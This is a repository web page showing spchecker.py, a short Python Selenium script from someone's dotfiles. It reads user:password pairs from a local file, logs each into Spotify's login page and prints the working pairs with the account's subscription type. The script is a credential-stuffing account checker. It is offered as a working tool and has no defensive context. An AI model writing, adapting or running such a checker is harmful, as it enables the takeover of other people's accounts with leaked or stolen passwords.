dotfiles

My personal shell configs and stuff
git clone git://git.alex.balgavy.eu/dotfiles.git
Log | Files | Refs | Submodules | README | LICENSE

spchecker.py (1158B)


      1 from selenium import webdriver
      2 import time
      3 from bs4 import BeautifulSoup
      4 from tqdm import tqdm
      5 
      6 driver = webdriver.Chrome()
      7 
      8 
      9 def check(user, password):
     10     """check if the combination works"""
     11     driver.get("https://accounts.spotify.com/en/login")
     12     user_elem = driver.find_element_by_id("login-username")
     13     password_elem = driver.find_element_by_id("login-password")
     14     button_elem = driver.find_element_by_class_name("btn-green")
     15 
     16     user_elem.clear()
     17     password_elem.clear()
     18 
     19     user_elem.send_keys(user)
     20     password_elem.send_keys(password)
     21     button_elem.click()
     22 
     23     time.sleep(2)
     24 
     25     driver.get("https://www.spotify.com/us/account/overview/")
     26     parse = BeautifulSoup(driver.page_source, 'html5lib')
     27     for h3 in parse.find_all('h3', {'class': "product-name"}):
     28         print('{}:{}:{}'.format(user, password, h3.get_text()))
     29 
     30     driver.delete_all_cookies()
     31 
     32 with open('./accounts') as s:
     33     amount = len(s.readlines())
     34     s.seek(0)
     35     for line in tqdm(s, total=amount):
     36         users, passwords = line.split(':')
     37         check(users.strip(), passwords.strip())
     38     driver.delete_all_cookies()
     39     driver.close()
     40     driver.quit()